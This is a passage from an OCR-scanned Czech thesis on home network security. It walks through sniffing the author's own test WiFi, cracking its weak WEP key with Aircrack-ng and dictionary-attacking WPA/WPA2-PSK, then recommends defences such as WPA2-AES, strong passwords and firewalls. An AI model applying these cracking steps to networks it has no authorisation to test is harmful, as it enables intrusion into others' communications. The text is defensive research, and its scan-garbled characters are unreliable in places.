vidime vSechna zafizeni na nami odposlouchaném kandlu ¢Etyfi. Pro jednotliva zatizeni je

k dispozici statistika po¢tu odposlechnutych paketi a jejich celkova velikost.

67



' Fle Search Vew Todls Seffngs Rules Help

| AR ELEIT MY

agwop @ OV 2L 1999 ©

@ Nodes | Channels || g Latest [P Comnections || % Packets || VelP ” Logging || 6 Rules || @ Alarms |

MAC Address Channel Type 53D Enaryption | Signal Rate Bytes Patkets Retry | ICYErrors
EQ’UU:-‘IF:H:H:BE:QD 4 AP shynet WEP 635754 6/784/54 45572 561 0 0
E@Usi:El:BF:Sl 4 STA WEP 333127 1/41,38/54 4068 4 I 0
Capture: On Packets: 331 | Keys: None Auto-saving: On Rules: Off Alarme: Off 2% (PUUsage  PRLREQ

Obrazek ¢. 17: Commview — statistika packetd pro kanal ¢.4

Celkem se podafilo nasbirat za 24 hodin odposlechu pfiblizn¢ 1,5 mil. pakett.

Jejich ¢ast je jeste v necitelné zakodované podobe je vidét na obrazku ¢. 18.
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| File Search View Tools Settings Rules Help

BYee @ Qe PYRT 224 88e R

];@ Modes || Channels ” *¢ Latest IP Connections | % Packets YalP ” Logging || 6 Rules ” % Alzrms |

icol Src MAC Dest MAC SrclP Dest IP SrcPort Dest Port Time Signal Rate  More details L’
[E.. OD04FBL24EESD Broadcast 7| NfA 7 INjA MfA A 175, -43 & shynet{lnfra.), Ch.24 b
[/B.. 00:4F:62:24:8E:5D Broadeast 2 INfA 7 N/A NfA /A 1 47 6 skynet{lnfra.), Ch.#4
[/B... 00:4F:62:24:BE:3D Broadcast ? | NjA 7 NjA MfA Ija 1 47 6 skynet(Infra.), Ch.#4
[B.. D04FEL24EE:5D Broadcast 7 | NfA 7N/ A A 1 -43 & skynet{lnfra.), Ch.24
[[B.. 00:4Fi62:24:8E:50 Broadcast 7 INfA 7 H/A NfA /A 1 47 6 skynet{lnfra.), Ch.#4
[/B... O00:4F:62:24:BE:9D Broadcast ? | NfA 7 NjA TfA Ija 1 47 & skynet(Infra.), Ch.£4
[B.. 00:4F:6L24E6E:9D Broadcast 7 | NfA 7| NjA MfA A 1 -43 & skynet(lnfra.), Ch.24
[fB.. 00:4F:62:24:8E:50 Broadcast 2 INfA 7IH/A NfA /A 17 43 6 skynet{Infra.), Ch.#4
[/B.. O00:4F:62:24:BE:9D Broadeast 2 INfA 7 MH/A MNfA NfA 17 47 & skynet(lnfra.), Ch.=4
[B.. 00:4F:6L24E6E:9D Broadcast 7 | NfA 7 | NjA MfA A 1 47 & skynet(lnfra.), Ch.24
[E.. OD04FBL24EESD Broadcast 7| NfA 7 INjA MfA A 1 -43 & shynet{lnfra.), Ch.24
[/B.. 00:4F:62:24:8E:5D Broadeast 2 INfA 7 N/A NfA /A 1 43 6 skynet{lnfra.), Ch.#4
[/B... 00:4F:62:24:BE:3D Broadcast ? | NjA 7 NjA MfA Ija 1 47 6 skynet(Infra.), Ch.#4
[B.. D04FEL24EE:5D Broadcast 7 | NfA 7N/ A A 1 47 & skynet{lnfra.), Ch.24
[[B.. 00:4Fi62:24:8E:50 Broadcast 7 INfA 7 H/A NfA /A 1 43 6 skynet{lnfra.), Ch.#4
[/B... O00:4F:62:24:BE:9D Broadcast ? | NfA 7 NjA TfA Ija 1 -43 & skynet(Infra.), Ch.£4
: : ? [ NfA ? M NfA N/A 17 -32 4 WEP: Can't decrypt, Key#1
17: 4 v
& | &
0x0000 0% 42 00 00 33 33 00 00-00 A
0x0010 Z0 iR El1 3F 51 &0 F :
0x0020 CCOFr Bl ED4COCCO S
0x0030 04
00040 2% ]
[5) Wrzless PackatInfa A
] ignal lzvel 75 =
ignzl level in dBm: 45
Maizz level in ¢Bm: 53
121 54,0 Mho: b

") Start e 8o ... en... 03 ) €). (ITLE 720 751

Obrazek ¢. 18: Commview — vypis zachycenych packetia WiFi

Nasbirané pakety byly importovany do programu Aircrack-ng 1.1, ktery byl pouzit
na prolomeni WEP zabezpeceni. Na obrazku ¢. 19 je GUI tohoto programu, umoZilujici
rozlicna nastaveni pomoci kterych je mozné prolomit WEP, WPA a WPA2 ochranu.
V tomto piipadé bylo nastaveno dekodovani 64 bitového WEP klice a pomoci SSID byla
blize specifikovana konkrétni sit’, jejiz pakety program analyzoval. V tomto ptipadé se

jednalo o sit’,,skynet®.
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EE Aircrack-ng GUI

Aircrack-ng |f-‘-.in:u:|um|:u-ng || Airdecapng || WZCook | About |

Filename|z) |D:"-..wep_lng"-..'rx'ep_sk}'.C_-’-‘-.F‘ | [ Choose... ]
Encryption (& WEP Key size bits  [] Usewordist [ Use PTW attack
O WPA
Advanced options
Specify ESSID |s|-:§,'net
[] Specify ESSID
Fudge factor 2 - Key search fitter Brnateforce
Last kevbytes =
Disable Korsk 1 ~ [ Alphanumeric characters bruteforce
sttacks 7 =
E i [] BCD characters Multithreading bruteforce
14 = [ Numeric: (Frtz!BOX) [] Single Bteforce attack
[5
R
O =
—

Obrazek ¢. 19: Aircrack-ng - GUI

Po par vtefinach se deSifrovacimu algoritmu podafilo nalézt hledany WEP kli¢

(testl) viz. obrazek €. 20. Takto nalezeny kli¢ pak sta¢i pouze piihlasit do programu

Commview a jiz je mozné korektné€ analyzovat veskerou komunikaci sité ,,skynet* a to 1

V realném case.
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AWINDOWS\System3 2\cmd.exe

Aircrack—ng 1.1

[BA:80:24]1 Tested 1695361 keys (got 4282 IUs)

depth bhyte<{vote?

8 79 15¢5632> 27{53%76> 7B(5376> AE(5376> 62{5%376>
19 1 3F(6656> Di{6480> ?1{648@> 78{64@0> BC{LH400>
12~ 37 F4(6912> DB{6656> GE{b656> E7{(6656> 3JIF{6408)>
7. 18 E4(7680> A3{?168> 41{6912> 206912 19{6912>
25/ 4 CC{b144> DA{6144> D3{bi144> BA3I<{6144> EF{hi44>

KEY FOUNDY [ P4:65:73:74:31 1 <(ASCII: testl >
Decrypted correctly: 188

D :“downloads~aircrack-ng—1.1—win“aircrack—ng—1.1—win~hin>

Obrazek ¢. 20: Aircrack-ng - Vysledky

Prolomeni zabezpeceni WPA a WPA2

Technika prolomeni zabezpeCeni WPA nespociva v zachyceni co nejvétSiho poctu
pakett, jako tomu bylo v ptipad¢ prolamovani WEP, ale je nutné ziskat pakety obsahujici
informace o navazani spojeni mezi klientem a AP. Jedné se o pakety obsahujici takzvany
four-way handshake. Z téchto pakett pak 1ze PSK kli¢ ziskat pomoci ,,brute force* utoku.
Existuji v zasad¢ dv¢ varianty realizace tohoto utoku. Prvni porovnava hash vznikly
z pouzitého PSK klice s ndhodné vygenerovanymi hashi, které odpovidaji pouzitému
formatu hesla u WPA. Druhy ,,slovnikovy* Gtok, se snazi nalézt shodu mezi informacemi
ziskanymi z odposlechnutych paketti a fetézci riznych znaki, ¢i ptimo celych slov, které
jsou ulozeny v textovém souboru S ptiponou ,Ist”. Tyto slovniky jsou vétSinou tvotfeny
slovy, které odpovidaji nejcastéji pouzivanym heslim. Je tedy jasné, ze tispéSnost prvniho
typu utoku bude zavisla predevsim na vypocetnim vykonu pocitace, pomoci kterého se
snazime heslo prolomit a druhy typ pak na velikosti a kvalité slovniku, obsahujici ptipadna
hesla. Nékteré programy jako je tieba Elcomsoft Wireless Security Auditor uméji oba
utoky kombinovat a vytvaret rizné mutace slov, které¢ jsou ve slovniku obsazeny. Aby byl
zajistén dostatecny vypocetni vykon, program podporuje simultanni zapojeni az 32 CPU a
8 GPU. Tento software lze zakoupit za astronomickych 1.199,- €, z ekonomickych divoda
tak nemohl byt v diplomové praci pouzit.[37][38][44][45]
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K realizaci utoku byl tak jako u WEP zabezpeceni vyuzit program Aircrack-ng,
ktery hled4d pouzité PSK pomoci slovnikového utoku. Simulace utoku vedla k potvrzeni
predpokladaného zavéru. Heslo sité skynet (PSK) se podatilo ziskat pouze v piipadé,
pokud bylo obsazeno ve slovniku hesel, ktery byl pii utoku pouzit. Uvedeny zavér ptitom

plati jak pro zabezpeceni WPA tak pro WPA2.

5 Zhodnoceni vysledku a doporuceni

Kapitola je vénovana zhodnoceni poznatkl ziskanych v diplomové praci a jsou zde i
diskutovana vhodna bezpeCnostni opatfeni a doporuCeni tykajici se dratovych a

bezdratovych siti.

5.1 Bezpeénostni doporuceni Ethernet IEEE 802.3

BezpecCnostni rizika domaci sité I1ze rozdé€lit na dvé hlavni skupiny a to vnitini a
vnéjsi. Mezi vnitini rizika obvykle fadime piedevSim tutoky realizované nékterym
z uzivateli LAN sité. Mlze jit tfeba o umysIné Siteni virt ¢i fyzickou sabotdz sit¢, kdy se
uto¢nik napoji na néjaky kliCovy uzel sité jako je switch, nebo router, na kterych mize
provadét odposlech datové komunikace a podobné. Z tohoto divodu jsou ve firemnim
prostiedi tyto sitové prvky uzamykany do server roomti a racki s omezenym piistupem.
V domécich sitich jsou vSak uzivatelé tvoreni pfedevsim rodinnymi piislusniky a tak tento
typ utoku neni piili§ realny. Urcité riziko nastava pouze v piipad¢, kdy je sitova kabelaz
vedena mimo divéryhodné prostfedi. Takovym prostfedim mize byt tieba vefejné
ptistupna chodba, ale i kupiikladu balkon sousedniho bytu apod. V takovém piipadé stoji
za zvazeni, zda datovou komunikaci pro vétsi bezpe¢nost nezasifrovat. Protokol IP, ktery
je bézné v ethernetovych sitich k pfenosu pouzivan, totiz nativné data nikterak neSifruje.
Jako feseni se pak nabizi kuptikladu jeho rozsiteni IPsec (IP security), ktery Sifruje data jiz
na sitové vrstvé a tim poskytuje transparentni zabezpeceni pro jakykoli pfenos. To piinasi
pfedev§im vyhodu, Ze Sifrovani je zcela nezavislé na pouzitych aplikacich, které mezi

sebou komunikuji. Podrobnéji je protokol IP security rozebran v mé bakalatrské praci na
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téma ,,Bezpecnost doméciho routeru®. Pii pouziti Sifrovani pfenosii vSak musime brat
V uvahu i narast pozadavkll na vypocetni vykon sitovych prvki, predev§im pak koncovych
stanic.

S domaci siti se tak spiSe poji vnitini rizika vznikla jako dusledek uspésného utoku
z WAN sité, ¢i vychazejici z neznalosti uzivatele. VétSinou se jedna o situace, kdy si
uzivatel sdm, nebo s cizi pomoci nainstaluje do nékteré ze stanic v siti Skodlivy software,
nebo-li malware. Tento problém lze vyiesit pomoci vhodného antivirového softwaru, ktery
nakazu zneskodni. Nez k tomu vSak dojde, miize se takovy virus rozsitit i na dalsi stanice
Vv siti. Proto je nezbytné nutné, aby byl antivirovy software nainstalovan na kazdé stanici
v siti. Jinak mliZe nastat situace, kdy se odstrafiovani viru stane zaCarovanym kruhem.
Virus by totiz mohl pfezivat na nezabezpecCenych stanicich a z nich se opakované §ifit po
celé siti.

Soucasti diplomové prace bylo 1 nalezeni vhodného antivirového feseni pro domaci
sit€¢. Testovana byla tfi antivirova feSeni riznych firem licencované jako ,.freeware*, tedy
pro domaci pouziti zdarma. Jednalo se o antiviry AVG Anti-Virus Free Edition 2012,
Avast! Free Antivirus 7 a Microsoft: Security Essentials 2.1. U vSech programu bylo
testovano pét kritérii a to: pouzitelnost, vybava, rychlost, hardwarova naro¢nost a
spolehlivost. Vysledné skore bylo ui¢eno dle vazeného priméru z téchto kritérii. Nejvetsi
vahu pfitom méla spolehlivost, nebo-li schopnost programu najit a odstranit Skodlivy
malware, a nejmensi pak rychlost skenovani. Z testu vzesel jako vitéz antivirovy program
Avast, ktery vynikal pfedevSim svou spolehlivosti a jako jediny také nabizel funkci
skenovani pied bootem operac¢niho systému. Ta se hodi pfedevsim u jiz napadenych stanic,
které nejsou schopny normalniho provozu. Naopak AVG v nejdilezitéjsi ¢innosti, tedy ve
vyhledavani virové infekce, zcela propadlo. Reseni od Microsoftu pak mélo vysledky spise
prumérné. Ani jeden z antivirt nebyl schopen detekovat vlastnoru¢né vytvoiené viry
napsané v jazyce Delphi, potvrdilo se tak tvrzeni, Ze pomoci heuristické analyzy je
odhaleni virli napsanych ve vysSich jazycich pfinejmenSim slozité. Jako velmi uZiteny
software, ktery nebyl soucasti testu, se také ukazal Kaspersky Rescue Disk 10, ktery
funguje jako bootovaci CD s ofezanym opera¢nim Linux a slouzi k odstranovéani virové
nakazy ze stanic, do kterych v disledku zamoteni malware jiz béZné antivirové programy

nelze nainstalovat.
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At uz uzivatel zvoli pro stanice v siti jakykoli antivirovy software, pro jeho
efektivitu pokazdé plati jedna spolecnd zasada, musi byt pravidelné aktualizovan.
Antivirovy software s delsi dobu neaktualizovanou virovou databdzi se de facto rovna
zadnému antiviru a to ptedevsim proto, ze odhalovani malware podle znamych signatur je

stale nejucinnéj$i metodou.

Jak jiz bylo feceno vySe, jednim z vnitinich rizik je i neznalost uzivatele. A neni to
riziko pouze marginalni. Pomineme-li dobrovolnou instalaci virt, dalsim velkym
problémem je fakt, Ze uzivatelé domacich siti Casto podcetiuji nastaveni klicovych
sitovych prvki, které maji kriticky vliv na zabezpecenti sité. Jedna se predevsim o router,
ktery je branou do nedivéryhodné¢ WAN sité. Diraz by mél byt vénovan piedevsim na
tvorbu dostate¢né silného hesla zabezpecujiciho servisni rozhrani routeru, ¢i AP.

Servisni rozhrani slouzi k nastaveni sitovych prvkii a je u domacich routerti a AP
zpravidla zhotoveno pomoci HTML s pouzitim JAVA skriptu. Samotné menu si pak
muzeme zobrazit pomoci jakéhokoli bézného internetového prohlizece podporujiciho
JAVA skript. Pfistup do menu je pak chranén jménem a heslem. A pravé zde mize dojit k
podcenéni bezpecnostniho rizika, kdy si uzivatel nezméni heslo nastavené vyrobcem
Vv ramci tovarniho nastaveni routeru. Tato hesla jsou totiz voln¢ dostupna pro jednotlivé
typy routeril na internetu a pokud neni zablokovan ptistup do routeru z WAN sité, mize
uto¢nik snadno takto nezabezpeceny router ovladnout. [7]

Je tedy nutné prednastavené heslo zménit a to na heslo dostate¢né silné, aby bylo
schopno odolat utoku hrubou silou. Jedna se o utok, kdy se uto¢nik pomoci specialniho
algoritmu, ¢i slovniku obsahujiciho nejcastéjSi pouzivana hesla, snaZi vygenerovat
odpovidajici spravné heslo. Vsechna takto vygenerovana hesla jsou pfitom na routeru
zkou$ena metodou ,,pokus omyl“ dokud né€které neodpovida spravnému heslu. Pokud by se
timto zptisobem uto¢nikovi podafilo heslo prolomit opét by ziskal ptistup do routeru a byl
by schopen de facto ptevzit kontrolu nad celou siti. To by mélo z hlediska bezpe¢nosti
LAN sité¢ dozajista fatalni dusledky. Ze zasad tvorby silného hesla popsanych v kapitole
3.2.4 vyplyva, Ze silné heslo by mélo byt tvofeno alespoi péti spojenymi ndhodnymi slovy,
nebo obsahovat nejméné 14 zcela ndhodnych pismen. Takto zvolené heslo je schopno
odolat Gtokiim hrubou silou, jelikoZ doba potiebna k jeho nalezeni by se i pfi v dneSni dobé

maximalni uvazované hranici 100 (jde pouze o teoretickou hranici, pokud by se zapocitala
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odezva ptihlasovaciho rozhrani, nebo propustnost sité, hodnota by byla mnohem nizsi)
odzkousenych hesel za vtefinu pohybovala okolo dvaceti miliard let. [28][29]

Déale je urcité dobré vyuzivat bezpecnostnich funkeci vyplyvajicich ze samotné
podstaty fungovani routeru. Jedna se predevsim o funkci NAT. Urcité se nevyplati tuto
funkci obchazet néjakym hromadnym piesmérovanim portii pomoci funkci jako je DMZ
apod. Piispravném nastaveni routeru s ohledem na co mozna nejvyssi zabezpeceni, je také
dulezité neopominout konfiguraci integrovaného firewallu. Piedevsim pak nakonfigurovat
URL filtr dle n€kterého z uznavanych blacklist. Velmi obsahly blacklist podchycujici
webové  stranky  Sifici  malvere je  k nalezeni  kupiikladu na  adrese

http://www.malwaredomainlist.com/mdl.php. Je samoziejmé dulezité URL filtr pravidelné

dle tohoto blacklistu aktualizovat. DalSi nastaveni, které zlepsi zabezpeceni, je urcité zakaz
pingu routeru z WAN sité, nebo zapnuti hloubkové analyzy pakett, ¢i odhalovani DOS

utokd, jsou-li tyto funkce podporovany.

Zatimco vétSinu  vnitfnich rizik spojenych s domaci siti, lze eliminovat
zodpovédnym chovanim uzivateld, poptipad¢ zvolenim vhodného antivirového software, u
rizik vnéjSich se jedna predevsim o spravnou volbu sitového hardware a jeho optimalniho
nastaveni, ¢i instalaci softwarového firewallu a antiviru na jednotlivé stanice. Jak uz je
Z nazvu patrné, vnéjsi rizika jsou takova, ktera maji svij puvod vné domaci sité. V praxi
prichazeji nejcastéji z internetu a jedna se zejména o ruzné druhy DDOS utoku, utoky
,brute force® zaméfené na prolomeni hesel, zavirovany spam elektronické posty, nebo také
sniffing. Proti vét$iné téchto utoku nas uchrani vhodné zvoleny firewall. Na vybér jsou
v zasad¢ dv€ moznosti. Prvni moznost je instalace softwarového firewallu na jednotlivé
stanice, druhd pak investice do routeru s integrovanym hardwarovym firewallem,
V idedlnim ptipad€ na Urovni pokrocilého stavového filtru s hloubkovou analyzou pakett.
Tento druh filtru funguje podobné jako antivirovy software a je schopen efektivné
rozpoznavat 1 podvrzené pakety snazici se o proniknuti do LAN sité. Dovoluji si tvrdit, Ze
pro domaéci sit’ je lepSi druhé zminované feSeni a to hned z nékolika divodu. JelikoZ je
router branou mezi davéryhodnou domaci siti a nedivéryhodnym internetem, prochazi
skrze né¢j veskera komunikace. Pokud do takovéhoto mista umistime firewall, bude chranit

pfed vnéjSimi riziky celou sit’ jako celek a ne pouze konkrétni stanice. Takovéto feSeni
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navic usetii i systémové prostfedky na stanicich, které by byly jinak potieba k provozovani
softwarového firewallu. Dal§i velkou vyhodou je pak nezéavislost tohoto feSeni na
operacnich systémech nainstalovanych na jednotlivych stanicich v domaci siti.
V neposledni fadé¢ nam hardwarovy firewall umozni aplikaci spole¢né bezpecnostni
politiky pro celou LAN sit a diky centralizované povaze feSeni i znaéné ulehci

administraci firewallu.

Jednim z vnéjsich rizik, kterému se diplomova prace blize vénuje v kapitole 4.2., je i
sniffing. Jak jiz bylo feceno vyse, sniffing v ramci dratové domaci sité uréité nepredstavuje
takové nebezpe€i jako u siti bezdratovych. OvSem 1 zde urcité riziko existuje a to
pfedevsim tehdy pokud se uto€nikovy podafi nainstalovat na nékterou ze stanic v siti
sniffovaci trojsky kun, ktery pak posila data z domaci LAN sité do internetu, kde je muze
utoCnik dale analyzovat, popiipadé¢ zneuzit. Antivirové programy jako je tieba diive
testovany Avast, by ve spolupraci s firewallem m¢li této ¢innosti spolehlivé zabranit. Dalsi
riziko spojené s odposlechem mulze nastat pii vzdalené spravé sité, kdy je nutné
pristupovat do servisniho menu routeru z internetu. Utoénik by totiz mohl byt za uréitych
okolnosti schopen z odposlechnuté komunikace ziskat heslo do servisniho rozhrani routeru
a tim de facto ovladnout celou LAN sit’ za nim. Nastésti oproti spravé z domaci LAN sité,
Ize ve vétSiné routerd pro tu vzdalenou nastavit hned né€kolik bezpec¢nostnich opatfeni
navic. Prvnim opatienim je, ze mizeme nastavit libovolné port, na kterém S routerem
komunikujeme. Komunikace jiz tedy neprobiha na standardnim portu 80, coZ uto¢nikovi
minimalné zkomplikuje piipadny odposlech. Druhym opatfenim tykajicim se spiSe ochrany
proti Gtokim hrubou silou, nebo v piipadé kdy uto¢nik jiz zna piistupové heslo do routeru,
je moznost povolit pfistup pouze pro urcitou IP adresu nebo MAC adresu. Bohuzel u
vétSiny providerd jsou IP adresy pridélovany dynamicky, takze se pti pouziti IP filtru mtze
snadno stat, ze se do zafizeni neptipoji ani ten, kdo mél puvodné ptistup povolen. Pouziti
filtru MAC adres, nebo-li filtru unikatnich cisel sitovych Kkaret, také neni uplné
neprustielné. Kuptikladu ve Windows XP Ipconfig nac¢ita MAC ne piimo z hardwaru, ale
Z registru systému, neni tak problém MAC adresu podvrhnout. [7]

Hlavnim problémem pii servisni komunikaci s routrem Vv nedivéryhodné siti je
bezesporu fakt, Zze pfi pouziti standardniho webového rozhrani neni komunikace nijak

Sifrovana. Tento nedostatek fesi n€které lepsi routery tim, Ze pfi komunikaci nepouzivaji
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HTTP protokol, ale zabezpe¢eny komunikacni protokol SSH (Secure Shell). Jedna se 0
protokol vyvinuty za ucelem ndhrady starSich nezabezpecenych vzdalenych shella jako je
kuptikladu telnet, které pracovaly s hesly v nezabezpetené form& a hrozilo tak jejich
zcizeni z odposlechnutych packetii. Protokol SSH je dnes jiz k dispozici ve své druhé verzi
znamé jako SSH-2, jenz je spuvodnim SSH nekompatibilni. SSH-2 dnes patii
K nejrozsifenéjsim vzdalenym shellim vibec a diky své architektuie, ktera je rozdélena na
vice Casti pricemz kazda ¢ast vykonava jinou funkci, je povazovan za velmi bezpeény. [7]
Protokol je ¢asto vyuzivan ve spojeni s operacnim systémem Linux. Tento operacni
sytém je vyuzivan ve své oklesténé a upravené verzi 1 jako alternativni firmware pro
nékteré domaci routery. Blize se SSH2 a Linuxovym firmware vénuji ve své bakalaiské

praci.

5.2 Bezpecnostni doporuceni Ethernet IEEE 802.11 (WiFi)

Obecné Ize tici, Ze pro zabezpecCeni bezdratovych WiFi siti plati ta sama doporuceni
jako pro sit¢ dratové. Problematiku vSak musime rozsitit o nékteré pro WiFi specifické
faktory, predev§im pak o vybér vhodného zabezpeceni ptfenosu. Z informaci ziskanych
analyzou odbornych zdrojii zabyvajicich se problematikou zabezpeceni WiFi, které jsou
zpracovany v kapitole 3.2, vyplyva, ze jediné stoprocentni zabezpeceni pro WiFi sité je
vV dneSni dobé WPA2 s autorizaCnim serverem. Toto feSeni je vSak predevSim
z ekonomickych davodi a zdavodu slozit¢jsi implementace pro vétSinu domacnosti
nedostupné. Nezbyva tak nez pouzivat rizikovéjsi WPA2-PSK variantu a snazit se volit co
nejsilngj$i hesla, podle stejnych zéasad jako pii tvorbé hesla pro administracni rozhrani
routeru. Dulezitost spravné volby hesla PSK byla ovéfena v kapitole 4.2.2, kdy se za
pomoci pouze velmi malého mnozstvi paketi obsahujicich ,handshake” mezi AP a
klientem a slovniku, ve kterém bylo obsazeno i hledané heslo, podafilo prolomit jak
zabezpeceni WPA-PSK tak i WPA2-PSK. Pokud je vSak zvoleno dostate¢né silné PSK je
prolomeni WPA i WPA2 pouze teoretickou zalezitosti. Zabezpe¢eni WPA2 i WPA
s Sifrovanim AES lze povazovat tedy za pln¢ bezpeéné. Nekteti uzivatelé i dnes preferuji

vvvvv

také vetsi naroky na vykon hardwaru. Tento argument se mi vSak v dne$ni dobé, kdy i1
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mainstreamové pocitate a routery vykazuji spiSe piebytek vykonu, zdd jako
neopodstatnény. Obzvlaste¢ v oblasti routeri muizeme v poslednich letech hovofit o
citelném nartistu vykonu. Za cenu okolo jednoho tisice korun dnes pofidime domaci router
S 32MB RAM a taktem procesoru 400Mhz, coz je vykon srovnatelny s nékterymi star§imi
osobnimi po¢itadi.®} Pokud by i presto nekdo chtél nebo byl kvilli pouZivanym
technologiim nucen WPA pouzivat, mél by se vyvarovat jeho pouziti s protokolem TKIP a
namisto toho pouzivat Sifrovani zalozené na AES. I kdyz protokol TKIP nebyl doposud
zcela prolomen, existuji metody utokid mitené prave proti TKIP, které mohou vazné narusit
bezpe€nost sité. Asi nejvaznéj§im dusledkem téchto metod je schopnost uto¢nika
roz$ifrovat komunikaci ve sméru od AP ke klientovi.

Malou nevyhodou spojujici jak zabezpeceni WPA tak WPA2 miiZze byt jejich
omezena podpora V sitich Ad-Hoc. Spole¢nost WiFi Alliance, ktera bezpecnostni
standardy pro WiFi vyviji, nikterak podporu pro WPA a WPA2 u téchto siti
negarantuje.[30] Zalezi tak na konkrétnim operacnim systému, zda tyto zabezpeceni pro sité
ad-Hoc nabizi ¢i ne. Nejhife jsou na tom vtomto ohledu u nas stale nejrozsifené;jsi
Windows XP, které neumoznuji v ad-Hoc sitich pouziti zadného WPA zabezpeceni a je tak
nutné si vystaCit s nevyhovujicim zabezpecenim WEP. Piicemz zabezpeCeni WEP se
ukazalo jako zcela nedostate¢né. Z odposlechnutych pakett v kapitole 4.2. bylo mozné
pomoci programu Aircrack rozlustit WEP kli¢ doslova za par vtefin. A to i pfes skutecnost,
ze byl k dekdédovani pouzit procesor s velmi malym vypocetnim vykonem a to Intel
Atom270. K ziskani WEP klice stacilo oproti pfedpokladanym dvoum milioniim paket
pouze 1,5 milionu. Tento fakt je dan predevsSim tim, ze k zabezpecCeni bylo pouzito 64
bitovée WEP. Dé¢lka klice tak byla omezena pouze na 40 bit, coz je 5 ASCII znakd.
V praxi se tak potvrdila zavislost mezi délkou kli¢e a silou zabezpeceni. Zajimavosti
naopak je fakt, Ze pocet paketil nesouci informaci o kli¢i byl ptiblizné pétkrat vyssi (skoro
5000), nez byl ptedpoklad.

Sniffing obecné predstavuje pro WiFi sité velké bezpe¢nostni rizoko, kterého se de
facto nelze vyvarovat. Vzhledem k tomu, Ze se mnohdy jedna pouze o pasivni odposlech
dat (odposlechnuta data nikam nemizi ani nejsou nijak upravovana), byva i pouhé odhaleni
odposlechu velmi slozité. Existuji v§ak programy, jako jiz dfive zminovany Wireshark,
které umi odhalit dalsi sitové karty pfitomné v LAN siti nastavené do promiskuitniho

modu. Program je schopen jejich provoz zalogovat a nasledné nahlasit spravci sité. Na
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ochranu pted technikami sniffovani spojenymi s n¢jakym dal$im aktivnim typem ttoku,
jako je DDOS s naslednou emulaci MAC adresy, je dobré pouzivat v siti takové prvky,
které jsou opatfeny hardwarovou vybavou schopnou témto utokim celit, nebo je alespon
detekovat. 1 kdyz se u WiFi siti nelze branit odposlechu jako takovému, zvolenim
vhodného zabezpeceni a kodovani muizeme zabranit utoc¢nikovi odposlechnuté pakety
analyzovat. Proto jest¢ jednou durazné¢ doporucuji pouzivat v dne$ni dobé jediné
stoprocentné bezpecné feseni a to je WPAZ s Sifrovanim AES. Jak jiz bylo feceno vyse, pii
pouziti WPA2 miiZze nastat problém v sitich, kde je nutné zajistit i zpétnou kompatibilitu se
star§imi zatizenimi, které toto zabezpe€eni nativné nepodporuji. V takovych ptipadech je
ziejmé nejschidnéjSim fesim pouzit takzvany ,,mixed mode*, kdy je sit’ pro nov¢jsi stanice
zabezpecCena pomoci WPA2 a pro star$i pomoci WPA s protokolem TKIP. Sit" pak lze
povazovat za plné zabezpecenou alespon v dobé, kdy se komunikace v siti netucastni zadna

stanice pouzivajici zabezpeceni WPA.

ZabezpeCeni domaci WiFi sité lze také zvySit pomoci dalSich dopliujicich
nastaveni ptistupového bodu (AP routeru). Patii sem pfedevSim mozZnost nastavit piistup
do sit¢ pouze pro definované MAC adresy, nebo naopak konkrétnim adresam piistup
zakazat. Nevyhodou takového nastaveni pak bezpochyby je fakt, Ze kazdé nové zatizeni
pak musime registrovat piimo v routeru, jinak se do sité zkratka neptipoji. V domaci siti,
kde se ovSem neda predpokladat Casta rotace novych pc stanic ¢i notebookii, nds to nemusi
prilis trapit a tak nezbyva, nez toto nastaveni viele doporucit. DalSim vhodnym opatfenim
pro zvySeni bezpeCnosti je moznost dnes jiz vétSiny domécich AP routerii zakazat
broadcasting SSID na$i WiFi sité. SSID si Ize pfedstavit jako jmenovku na nasem zvonku
od dveti. Pokud zakaZeme jeho vysilani, stane se nase sit’ neviditelna pro bézné scannovaci
jednotlivych stanic pro pfistup do sité, na strané druhé sit' dokonale uchranime pted
ndhodnymi utoky zvenci. Za ptedpokladu Ze domaci sit’ obsahuje pouze maly pocet stanic
a neni zapotiebi, aby byla pfistupnd pro nahodné ptichozi, lze opét toto nastaveni jediné
doporucit.
pozornost nastaveni fidicich sitovych prvki, to znamend AP routeru popiipadé

samostatnému AP. N¢které pfistroje totiz maji ve vychozim tovarnim nastaveni pro WiFi
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nastavené zadné, nebo zcela nedostatecné WEP zabezpeceni. Existuji i piipady, kdy
nejmenovany ¢esky ISP distribuoval pro své zdkazniky ADSL modemy, které ve vychozim
nastaveni broadcastovaly dvé nezavislé WiFi sité. Jedna z téchto siti pod ndzvem ,,VoIP*

ptitom nebyla nikterak zabezpecena.

Pokud bylo v dratovych sitich zmifiovano riziko spojené s neznalosti uzivatele, tak
i ve WiFi sitich je v dne$ni dob¢ toto riziko stdle pomérné vysoké. Z nékolika méteni
provedenych v oblasti Praha 12 - Modfany tieba vyplyva, Zze 4% uzivateld nepouziva
zadné zabezpeceni a dokonce 24% pouzivad nevyhovujici WEP. Z vysledki ptitom byly
vylouceny nezabezpecené vetejné sité. Procentualni zastoupeni vSech dostupnych WiFi

zabezpeceni je k vidéni na grafu ¢. 7.

Zastoupeni zabezpeceni WiFi

m WEP

u WPA

m WPA2

B WPA mix

M nic

Graf ¢&. 7: Zastoupeni WiFi zabezpeceni P-12 Modiany
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6 Zaver

Jednim z dil¢ich cili diplomové prace bylo studium a tfidéni podkladd k dané
problematice. Na zakladé analyzy téchto podkladd vyplyva, Ze bezpe€nostni rizika
Vv dratovych i1 bezdratovych domacich sitich mizeme rozdélit na vnitini a vnéj$i. Vnitini
rizika jsou spojena pievazné s chovanim uzivateli dané domaéci sit€ a 1ze je minimalizovat
poucenim uzivateli o zakladech bezpecného naklddani se systémovymi a sitovymi
prosttedky v kombinaci s vhodné nastavenou bezpecnostni politikou v siti. Ta pfitom
nesmi byt pro uZivatele pfili§ omezujici, ale pfitom musi byt dostatecné UCinnd, aby
domaci sit ochrénila pfed piipadnymi utoky, kter¢é mohou pfijit z okolnich
nediveéryhodnych siti, tj. ve vétsing piipadii se sité internet. Z pfipojeni k internetu plyne 1i
vétSina vnéjSich bezpecnostnich rizik. Ty lze minimalizovat pfedev§im pouZitim vhodnych
sitovych prvki, které maji kriticky vliv na bezpe€nost v siti. Jedna se pfedevSim o stanice,
routery a ptistupové body bezdratovych siti (AP). Doporuceni jejich optimalniho nastaveni
bylo také jednim z dil¢ich cili diplomové prace a je blize diskutovano v Kapitole pét.
vhodné nastaveni firewallu, vybér vhodného antivirového software a v ptipadé¢ WiFi siti
volba vyhovujiciho zabezpecCovaciho standardu.

Ze sitovych prvki pouzitych v praktické ¢asti diplomové prace bych zkusenéjSim
uzivatelim doporucil predev§im router spolecnosti Mikrotik. Jak je jiz obvyklé, zatizeni
